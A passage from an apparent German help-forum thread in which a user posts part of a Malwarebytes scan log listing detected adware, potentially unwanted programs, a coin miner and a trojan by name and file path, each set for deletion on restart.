PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\balanced-match\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\balanced-match\LICENSE.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\balanced-match\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\balanced-match\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\example\map.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\test\map.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\README.markdown, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\minimatch.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\node_modules\wrappy\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\node_modules\wrappy\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\node_modules\wrappy\wrappy.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\once.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\path-is-absolute\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\path-is-absolute\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\path-is-absolute\readme.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\changelog.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\common.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\glob.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\sync.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\bin.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\rimraf.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\fstream.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\inherits\inherits.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\inherits\inherits_browser.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\inherits\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\inherits\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\test\00-setup-fixtures.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\test\cb-never-called-1.0.1.tgz, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\test\dir-normalization.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\test\dir-normalization.tar, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\test\error-on-broken.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\test\extract-move.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\test\extract.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\test\fixtures.tgz, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\test\header.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\test\pack-no-proprietary.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\test\pack.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\test\parse-discard.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\test\parse.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\test\zz-cleanup.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\tar.js, Löschen bei Neustart, [2862], [371306],1.0.2075

Twix. 03.06.2017 00:27
mbam - Teil4:
Code:
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\lib\config.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\lib\utils.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\async\lib\async.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\async\component.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\async\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\async\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\benchmark\bench.gnu, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\benchmark\bench.sh, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\benchmark\benchmark-native.c, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\benchmark\benchmark.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\benchmark\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\lib\sha1-browser.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\test\compare_v1.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\test\test.html, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\test\test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\bower.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\component.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\LICENSE.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\uuid.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\v3.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\underscore\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\underscore\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\underscore\underscore-min.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\underscore\underscore-min.map, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\underscore\underscore.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\test\event.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\test\exception.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\test\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\test\item.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\test\middleware.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\test\mocha.opts, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\test\pageview.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\test\send.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\test\timing.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\test\transaction.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\test\_enqueue.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\AcceptableParams.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\HISTORY.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\storage\storage.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\storage\storageUtil.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\index.html, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\jquery.min.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\main.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\report.bin, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\settings.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\shallow.html, Löschen bei Neustart, [2862], [371306],1.0.2075
Adware.Genius, C:\USERS\****\APPDATA\LOCAL\TEMP\GENIUS2.JS, Löschen bei Neustart, [9077], [387358],1.0.2075
PUP.Optional.SystemHealer, C:\USERS\****\APPDATA\LOCAL\TEMP\BE3FDDA1E5B74B8C89141391E6A4AE9F\SYSTEMHEALER.EXE, Löschen bei Neustart, [980], [363442],1.0.2075
PUP.Optional.Wajam, C:\USERS\****\APPDATA\LOCAL\TEMP\WAJAM_INSTALL.EXE, Löschen bei Neustart, [100], [244651],1.0.2075
PUP.Optional.HDWallPaper, C:\USERS\****\APPDATA\LOCAL\TEMP\A862C5D13D2944B8938600D1FAEA5935\HDWALLPAPER-SETUP.EXE, Löschen bei Neustart, [132], [400698],1.0.2075
PUP.Optional.BitCoinMiner, C:\USERS\****\APPDATA\LOCAL\TEMP\C41BC910D9F941FFB03F09F9A5516E43\VLNGP1.EXE, Löschen bei Neustart, [197], [363441],1.0.2075
Adware.OtherSearch.TSKRST, C:\PROGRAM FILES (X86)\MTGpsFmYZE\SSL\OtherSearch Inc CA 2.cer, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\nss\certutil.exe, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\nss\mozcrt19.dll, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\nss\nspr4.dll, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\nss\nss3.dll, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\nss\plc4.dll, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\nss\plds4.dll, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\nss\smime3.dll, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\nss\softokn3.dll, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\SSL\cert.db, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\SSL\xtls.db, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\data.dt, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\dlog.txt, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\kl.ecf, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\s.xml, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\slite.exe, Löschen bei Neustart, [2807], [371199],1.0.2075
Adware.OtherSearch.TSKRST, C:\Program Files (x86)\MTGpsFmYZE\updengine.exe, Löschen bei Neustart, [2807], [371199],1.0.2075
Trojan.MalPack, C:\USERS\****\APPDATA\LOCAL\TEMP\LOAD.EXE, Löschen bei Neustart, [54], [404191],1.0.2075
Adware.NetAdapter, C:\USERS\****\APPDATA\LOCAL\TEMP\3B186B0F1B7D45BBBA58619D2024CECC\NETADAPTERUPDATE_SETUP.EXE, Löschen bei Neustart, [9194], [398038],1.0.2075
PUP.Optional.SystemHealer, C:\USERS\****\APPDATA\LOCAL\TEMP\766E3C63945740E6915E5A37153F3EDD\SETUP.EXE, Löschen bei Neustart, [980], [363442],1.0.2075
PUP.Optional.BitCoinMiner, C:\USERS\****\APPDATA\LOCAL\TEMP\AC9AAAA664EE47498A6C254FA39EEFB5\&JRSIGTV_E.EXE, Löschen bei Neustart, [197], [363441],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\USERS\****\APPDATA\LOCAL\TEMP\NW8668_14443\PACKAGE.JSON, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\images\close.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\images\expand.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\images\icon16.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\images\icon20.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\images\icon24.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\images\icon256.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\images\icon36.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\images\icon48.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\images\icon64.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\images\icontray.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\images\loader.gif, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\images\minimize.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\images\search.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\images\unexpand.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\examples\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
